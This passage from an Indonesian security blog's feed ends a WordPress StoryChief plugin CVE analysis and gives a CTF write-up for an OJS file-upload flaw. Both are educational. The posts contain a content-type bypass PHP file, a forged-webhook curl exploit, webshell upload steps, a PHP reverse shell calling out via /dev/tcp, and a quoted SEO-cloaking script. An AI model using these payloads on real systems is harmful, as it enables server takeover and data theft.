        return $filename;
    }</strong></em></code></pre>



<p>Juga ada sedikit restriksi, dimana content-type yang diizinkan harus image</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-bd18cafd3b09e6e53dab370ef8dba859"><code>$image_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
 if (strpos($image_type, 'image') === false) {
      return false;
 }</code></pre>



<p>dan kita bisa membypass-nya dengan membuat file php seperti ini pada vps/hosting : </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-aa05a39e5ca2226dee30e7bab81c026a"><code>&lt;?php
header("Content-Type: image/jpeg");
echo "&lt;?php phpinfo(); ?&gt;";

?&gt;</code></pre>



<p>Yang dimana akan memforce atau memaksa header jika content-type diset ke image/jpeg meskipun raw datanya merupakan plain-text, dan untuk <strong><em>echo &#8220;&lt;?php phpinfo(); ?&gt;&#8221;;</em></strong> bisa disesuaikan lagi, karena disini hanya untuk tujuan demontrasi jadi cukup memanggil phpinfo() saja</p>



<p>Kasus disini aku memakai vps dan menjalankan php webserver </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="184" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png" alt="" class="wp-image-605" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-300x54.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-768x138.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1280x231.png 1280w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15.png 1288w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terakhir payload final dan exploit akan menjadi seperti ini </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-2a8588ab4d6978bd507e695e213acdc3"><code>curl -d '{"meta": {"mac":"2ddae0879f0bdf1d1d4c86713da237d82a028482aeab7a7f3d84e1e8a3d7748d", "event" : "publish"}, "data" : {"featured_image" : {"data" : {"sizes" : {"full": "http://143.198.193.102:8000/cek.php"}}}}}' http://143.198
.193.102/wp-json/storychief/webhook</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="99" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png" alt="" class="wp-image-607" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-300x29.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-768x75.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1536x149.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17.png 1688w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan untuk melihat hasil uploadnya, kita bisa mengacu pada fungsi ini di file class.imageuploader.php</p>



<pre class="wp-block-code"><code>wp_upload_dir(date('Y/m', $this-&gt;post-&gt;post_date ? strtotime($this-&gt;post-&gt;post_date) : time()));</code></pre>



<p>yang disini memanggil date dengan parameter pertama &#8216;Y/m&#8217; artinya tahun/bulan, jadi jika sekarang tahun 2025 dan bulan 08 maka akan menjadi <strong><em>/wp-content/uploads/2025/08/cek.php</em></strong></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="517" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png" alt="" class="wp-image-608" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-768x388.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1536x776.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18.png 1756w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan exploit berhasil, untuk PoC automation lengkapnya yang ku publish di exploit-db bisa langsung kunjungi link berikut <a href="https://www.exploit-db.com/exploits/52422">https://www.exploit-db.com/exploits/52422</a> . jadi mungkin sekian itu saja dan semoga bermanfaat.</p>



<p><em><strong>“Ilmu itu cahaya, dan belajar adalah menyalakan lentera dalam kegelapan.”</strong></em> – <strong>Imam Al-Ghazali</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WriteUp Hacking Challenge &#8211; Bhineka Tech</title>
		<link>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/</link>
					<comments>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 05:55:07 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=557</guid>

					<description><![CDATA[<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25dbc8fd7bd55d167cb2c9a937337ec3"><code>Pentesting &amp; Hacking Challenge

host: http://157.230.255.81/

Description:
Rafli seorang freelance web developer mendapatkan client di salah satu universitas swasta yang dimana client tersebut meminta untuk dibuatkan website publikasi jurnal ilmiah, dengan deadline 2 minggu. Rafli pun bersedia, dan kurang dari waktu yang ditentukan, Rafli menyelesaikan websitenya dan langsung dilakukan deployment oleh pihak kampus. Selang beberapa minggu terdapat anomaly log dan ditemukan file berupa sitemap.xml, google1337.html pada document_root yang terindikasi digunakan untuk blackhat seo perjudian.

Task:
Sebagai seorang security engineer, bantu Rafli mengidentifikasi kerentanan pada aplikasi yang dibuatnya dan lakukan evaluasi sampai sejauh mana attacker mendapatkan akses pada server.

Format flag: bhitech{}
Level: Medium / up to you

Note: ada 2 flag, yaitu user dan root. root flag berada pada directory /root sedangkan user flag berada pada /var/www/html dan server direset tiap 1 jam 30 menit sekali 

Clue ? Kubernetes breakout</code></pre>



<p>Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya pada deskripsi juga terdapat tambahan clue yakni Kubernetes Breakout, dan sepertinya terkait dengan misconfiguration dan escape pada pods di kubernetes jadi mari kita bedah lebih lanjut</p>



<p>Jika dibuka via browser, disuguhkan website yang menggunakan CMS OJS(Open Journal System)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="534" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png" alt="" class="wp-image-558" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-300x156.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-768x400.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1536x800.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image.png 1894w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>OJS ini merupakan suatu platform / CMS untuk publikasi jurnal ilmiah dan CMS ini open source, namun pada OJS sendiri sudah lama terdapat banyak security issue yang beredar mulai dari versi 2.x.x hingga 3.x.x dan banyak dimanfaatkan oleh script kiddies maupun hacker pemula untuk melakukan akses ilegal karena kemudahan exploitnya </p>



<p>Contohnya seperti di github issue ini <a href="https://github.com/pkp/pkp-lib/issues/7786 ">https://github.com/pkp/pkp-lib/issues/7786 </a>lalu di cxsecurity mengenai PoC-nya <a href="https://cxsecurity.com/issue/WLB-2021100133">https://cxsecurity.com/issue/WLB-2021100133</a> dan juga ada artikel yang menyebutkan jika OJS ini mengidap suatu zeroday <a href="https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/">https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/</a></p>



<p>Jika kita inspect element dan membuka tab network, akan banyak file yang diload dan terdapat indikasi versi OJS yang dipakai </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="981" height="555" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png" alt="" class="wp-image-560" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png 981w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-768x434.png 768w" sizes="auto, (max-width: 981px) 100vw, 981px" /></figure>



<p>Pada kasus challenge ini, terlihat OJS memakai version 3.2.1.1 yang kita bisa langsung melihat source code pada githubnya <a href="https://github.com/pkp/ojs/tree/3_2_1-1">https://github.com/pkp/ojs/tree/3_2_1-1</a></p>



<p>Dan sebenarnya untuk melakukan exploitnya cukup mudah karena banyaknya PoC yang disediakan. Karena kerentanannya terkait dengan Arbitrary File Upload, hal paling tricky disini adalah mencari path webshell setelah diupload.</p>



<p>PoC ?</p>



<ul class="wp-block-list">
<li>Register pada http://157.230.255.81/index.php/bhitech/user/register</li>



<li>Setelah register, kemudian pilih <strong>make a new submission</strong></li>



<li>Centang semua pada step 1</li>



<li>Kemudian step 2, disini akan ada modal untuk melakukan upload file</li>



<li>Upload file webshell / malicious dengan extension .phtml</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="535" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png" alt="" class="wp-image-561" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-300x157.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-768x401.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3.png 1430w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini sebenarnya file telah berhasil di upload pada server, dan seperti yang dikatakan sebelumnya jika kita perlu mencari path aktual dari file yang diupload. jika kita mengclick file yang terupload maka nama akan berubah menjadi 1-Article Text-1-1-2-20250727.phtml dan hal ini bisa menjadi acuan petunjuk tambahan.</p>



<p>Sedikit info, path file pada OJS sendiri bisa di custom yakni saat instalasi, admin bisa melakukan custom folder untuk file journal seperti /files, /data, /ojs ataupun lainnya dan bahkan untuk lebih securenya, secara default path file bisa diluar dari document_root pada website, misalkan webroot berada pada /var/www/html/, file journal bisa diletakkan di /var/www/files/ dan dalam hal ini yang tidak memungkinkan dilakukan exploitation.</p>



<p>Setelah itu kita bisa melakukan enumeration directory, dalam hal ini aku menggunakan dirsearch</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="350" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png" alt="" class="wp-image-562" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4-300x173.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Disini ditemukannya directory /files, dan ternyata directory listingnya kebuka </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="556" height="523" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png" alt="" class="wp-image-563" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5-300x282.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>Terdapat suatu file catatan.txt disini, dan jika kita buka </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-84752b9e80570c34142b787e7c247aa8"><code>Di sebuah rumah di perbatasan kabupaten magetan, tinggallah seorang yang bernama Rafli. Rafli ini sehari sehari bekerja freelance sebagai web developer yang suatu ketika ada client dari universitas swasta, sebut saja universitas siber yang meminta untuk membuat platform publikasi jurnal ilmiah. Akhirnya setelah berbincang bincang via telpon mereka sepakat dengan deadline 2 minggu untuk aplikasinya ini dapat digunakan

tak berfikir lama Rafli langsung mengunduh sebuah CMS yang dinamakan OJS(open journal system). Rafli sempat mengunjungi github https://github.com/pkp/ojs dengan melihat sekilas source codenya karena sifatnya yang open source dan Rafli yakin dengan memakai OJS ini dengan memodifikasi-nya sedikit agar sesuai yang diminta client-nya

Rafli tak peduli dengan banyak security issue yang terdampak pada OJS ini, yang difikirkan Rafli yang penting sesuai dan memangkas waktu agar deadline 2 minggu ini terselesaikan dengan baik. Yang akhirnya pilihan Rafli sudah bulat dimana setelah itu dia meminta suatu VPS kepada pihak client agar aplikasinya dapat di deploy

Rafli mengerjakan project ini dengan kurang dari 2 minggu dan Rafli juga tidak sempat membaca dokumentasi best practice dari OJS terutama masalah security, Rafli juga tidak membaca issue github seseorang yang terkena hacking pada website OJS-nya https://github.com/pkp/pkp-lib/issues/7786 terlebih Rafli juga tidak riset terkait seseorang menggunakan exploit zeroday pada OJS ini https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/

Yang akhirnya setelah semuanya beres, sesuai kesepakatan dengan deadline 2 minggu maka mereka sepakat mempublikasikan ke internet dan kedua belah pihak sangat senang dimana Rafli mendapatkan uang dari project ini sementara pihak kampus mempunyai platform journal-nya sendiri. Hingga selang beberapa waktu, ternyata benar saja traffic mulai melonjak yang mengakibatkan website hampir down, dengan pendekatan yang pas, akhirnya pihak kampus melalui sysadminnya mengkonfigurasi load balancing dan auto scalling pada aplikasinya menggunakan kubernetes dan dimana node worker pada OJS-nya dibuat menjadi beberapa POD seperti apache dan mysql dipisah dalam pod yang berbeda

Hari demi hari platform OJS-nya berjalan lancar sampai akhirnya mereka menyadari ada anomaly log yang berbeda dan ada yang melakukan takeover kepemilikan pada websitenya melalui google search console, sontak membuat sysadmin terkejut karena tidak ada perubahan yang signifikan pada websitenya sampai menyadari ada perubahan datetime pada index.php dan tambahan file pada directory webrootnya seperti sitemap.xml, google1337.html dan index.txt, indexx.php. dan setelah itu sysadmin mecoba membuka index.php dengan isi

```
&lt;?php
$googleBots = &#91;
    'Googlebot',
    'Googlebot-Mobile',
    'Googlebot-Image',
    'Mediapartners-Google', 
    'AdsBot-Google',
    'Feedfetcher-Google'
];


$userAgent = $_SERVER&#91;'HTTP_USER_AGENT'] ?? '';

$isGoogleBot = false;
foreach ($googleBots as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isGoogleBot = true;
        break;
    }
}

if ($isGoogleBot) {
    include 'index.txt';
} else {
    include 'indexx.php';
}
?&gt;
```
Dan setelah menyadari script tersebut merupakan cloacking yang bertujuan untuk memanipulasi crawler dan googlebot dengan menampilkan konten yang berbeda dan seringkali digunakan di kalangan blackhat SEO. Dan benar saja website muncul rank 1 di mesin pencari google dengan keyword "Toto Gacor"

sysadmin menghubungi Rafli untuk memperoleh informasi dari aplikasi yang dibuatnya dan menjelaskan jika website diretas oleh hacker judol yang berafiliasi dengan para bandar di kamboja, karena ada indikasi kuat IP dari log yang di analysis tersebut berada di kota poipet.

Disini sysadmin meghubungi Rafli bukan semata mata hanya karena aplikasi OJS-nya saja, tapi karena server tersebut sudah terintegrasi dengan kubernetes dan takutnya para hacker ini melakukan escape dan breakout pada containernya sehingga dapat mengakses host utama

setelah dihubungi pihak universitas, Rafli juga terkejut dan menghubungi temannya yang bekerja sebagai red teamer dan paham terkait security, sebut saja Rimba. Disini Rimba menjelaskan kerentanan di OJS yang cukup umum dan sangat mudah dilakukan exploitation

Rimba menjelaskan dengan sangat detail dan memberi tahu Rafli jika kerentanan terletak pada file /lib/pkp/classes/file/FileManager.inc.php dengan code berikut :

```
function parseFileExtension($fileName) {
                $fileParts = explode('.', $fileName);
                if (is_array($fileParts) &amp;&amp; count($fileParts) &gt; 1) {
                        $fileExtension = $fileParts&#91;count($fileParts) - 1];
                }

                // FIXME Check for evil
                if (!isset($fileExtension) || stristr($fileExtension, 'php') || strlen($fileExtension) &gt; 6 || !preg_match('/^\w+$/', $fileExtension)) {
                        $fileExtension = 'txt';
                }

                // consider .tar.gz extension
                if (strtolower(substr($fileName, -7)) == '.tar.gz') {
                        $fileExtension = substr($fileName, -6);
                }

                return $fileExtension;
        }
```
dan juga pada ./lib/pkp/classes/context/LibraryFile.inc.php

```
function getFilePath() { 
	$contextId = $this-&gt;getContextId(); 
	return Config::getVar('files', 'files_dir') . '/contexts/' . $contextId . '/library/' . $this-&gt;getServerFileName(); 

}
function &amp;getTypeSuffixMap() { 
	static $suffix = array( 
	    LIBRARY_FILE_TYPE_MARKETING =&gt; 'MAR', 
	    LIBRARY_FILE_TYPE_PERMISSION =&gt; 'PER', 
		LIBRARY_FILE_TYPE_REPORT =&gt; 'REP', 
		LIBRARY_FILE_TYPE_OTHER =&gt; 'OTH' 
	); 
	return $suffix; 
} 
$fileName = $baseName . '-' . $suffix . '.' . $ext;
```
Yang intinya ada semacam kerentanan yang dapat mengarah ke RCE dan dapat digunakan takeover suatu server, dan setelah dijelaskan baru Rafli paham kenapa bisa terjadi dan dengan bantuan Rimba, akhirnya kerentanan dapat dilakukan patching dan mitigasi serta membuat file OJS tidak dapat diakses dari document rootnya.

~xpl0dec </code></pre>



<p>Didalam catatan itu terdapat mengenai perbincangan dari Rafli dan Sysadmin kampus mengenai OJS-nya diretas yang digunakan untuk promosi judi online dan juga tedapat deskripsi singkat mengenai kerentanan beserta source codenya.</p>



<p>Umumnya ada beberapa path static atau pola directory file OJS yang terupload yaitu untuk version 2.x.x /journals/[stageId]/articles/[submissionId]/submission/original/[namafilenya] sementara untuk version 3.x.x /journals/[stageId]/articles/[submissionId]/submission/[namafilenya]  </p>



<p>apa itu journalid dan articleid ? jadi setelah file diupload kita bisa klik file untuk download dan akan request ke endpoint berikut <br>/index.php/bhitech/$$$call$$$/api/file/file-api/download-file?fileId=1&amp;revision=1&amp;submissionId=1&amp;stageId=1, ada beberapa hal yang diperhatikan disini yang dimana stageId=1 merupakan path id pada stage sementara submissionId terkait path setelah artice dalam hal ini 1 dan jika kita kombinasikan menjadi path seperti ini /files/journals/1/articles/1/submission/[namafile]</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="363" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png" alt="" class="wp-image-564" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Masih notfound, dan sepertinya ada yang salah jadi mari kita breakdown dan analysis dari source codenya, dan disini bisa ditemukan fungsi getClientFileName() pada file https://github.com/pkp/pkp-lib/blob/6c34557418261be3ca50b797acb144f9332ca239/classes/submission/SubmissionFile.inc.php#L297</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="488" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png" alt="" class="wp-image-565" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png 883w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-300x166.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-768x424.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" /></figure>



<p>disini sebenarnya yang diubah hanya pada bagian $genre-&gt;getLocalizedName() dan jika kita gulir kebawah juga ditemukan fungsi _generateFileName()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="818" height="411" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png" alt="" class="wp-image-566" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png 818w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-300x151.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-768x386.png 768w" sizes="auto, (max-width: 818px) 100vw, 818px" /></figure>



<p>Kita bisa menebak jika, nama file seperti ini 1-Article Text-1-1-2-20250729.phtml maka pada bagian Artice Text akan diubah ke bentuk integer 1-[getGenreId()]-1-1-2-20250729.phtml</p>



<p>fungsi getGenreId() dan variable $genre memanggil class GenreDAO dari file https://github.com/pkp/pkp-lib/blob/main/classes/submission/GenreDAO.php#L4</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="438" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png" alt="" class="wp-image-567" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-300x164.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-768x419.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>yang dimana merupakan query database yang melakukan get data pada tables genres, dan kemudian melakukan return pada fungsi _fromRow()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="928" height="541" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png" alt="" class="wp-image-570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png 928w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-300x175.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-768x448.png 768w" sizes="auto, (max-width: 928px) 100vw, 928px" /></figure>



<p>_fromRow mengambil tables <code>genre_settings</code> pada database yang dimana isi dari genre_settings merupakan list dari topik jurnal yang akan dipublikasikan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="274" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png" alt="" class="wp-image-571" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-768x205.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1536x411.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11.png 1661w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang dimana disini, bisa kita asumsikan jika result dari genreId() merupakan data yang diambil dari column <code>genre_id</code> pada tables genres dan genre_setting dan bisa disimpulkan jika list jurnal seperti Aritcle Text sampai other akan dikonversikan sesuai dari genre_id nya seperti :</p>



<ul class="wp-block-list">
<li>Article Text : 1</li>



<li>Research Instrument : 2</li>



<li>Research Materials : 3</li>



<li>Research Results : 4</li>



<li>Transcripts : 5</li>
</ul>



<p>hingga seterusnya sampai bagian other di genre_id 12, yang berarti jika nama file 1-Article Text-1-1-2-20250729.phtml akan menjadi 1-1-1-1-2-20250729.phtml</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="426" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png" alt="" class="wp-image-572" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-300x125.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-768x320.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1536x639.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12.png 1716w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan path valid yang menampilkan informasi php, dan lanjut kita coba untuk melakukan reverse shell </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-239e37e590c1870932611edd7139ec1e"><code>&lt;?php

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/dev/null", "a") // stderr is a file to write to
);

$process = proc_open("/bin/bash -c 'bash -i >&amp; /dev/tcp/&#91;ip_vps]/&#91;portnya] 0>&amp;1'", $descriptorspec, $pipes);

if(is_resource($process)) {
    echo "&lt;pre>" . stream_get_contents($pipes&#91;1]);
    fclose($pipes&#91;1]);
}
?></code></pre>



<p>Menggunakan code php dengan fungsi proc_open kita bisa menjalankan bash command yang akan melakukan reverse shell ke VPS yang kita tentukan.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="693" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png" alt="" class="wp-image-573" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-300x203.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-768x520.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13.png 1252w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita berhasil melakukan gaining access dan mendapatkan user flag </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-5a8a5fb6f77037dd4c29a6bb0ec4b264"><code>bhitech{M4S1h_ScRipT_k1ddiEs}

untuk root flagnya, gunakan otak dan kemampuan hackingmu.
sedikit clue mungkin membantu https://kubernetes.io/docs/reference/access-authn-authz/authentication/</code></pre>



<p>Pada file flag juga disertakan clue yang terkait dengan kubernetes serta diberikan refrensi link dokumentasi tentang access authentication pada kubernetes itu sendiri. Jadi kita bahas sedikit tentang kubernetes agar kita lebih paham. Kubernetes disebut sebagai Container Orchestration yang berfungsi untuk melakukan deploy, scaling dan management container secara otomatis, dan biasanya kubernetes itu digunakan pada aplikasi yang berbasis microservice maupun aplikasi dengan skala yang besar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="669" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png" alt="" class="wp-image-575" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-300x196.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-768x502.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1536x1003.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster.png 1600w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Arsitektur kubernetes bisa dilihat pada gambar diatas yaitu terdapat beberapa component penting yang perlu kita ketahui, pertama ada cluster yang merupakan suatu wadah besar yang menampung Node, Control Plane dan utilitas lain dari kubernetes. sedangkan ada Control Plane yang digunakan untuk mengelola node melalui API server dan controller manager atau bisa dibilang Control Plane/Master Node ini server yang mengontrol semua worker node sementara Worker Node itu client-nya yang berisi pod dan container yang dilakukan otomatisasi dan dikontrol oleh master node. Mungkin teman teman bisa langsung cek dokumentasi lebih lanjut untuk lebih memahami kubernetes ini  </p>



<p>Kembali pada topik utama, jika kita baca baca pada refrensi diatas pada bagian service account, dikatakan seperti ini</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="874" height="201" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png" alt="" class="wp-image-574" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png 874w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-768x177.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></figure>



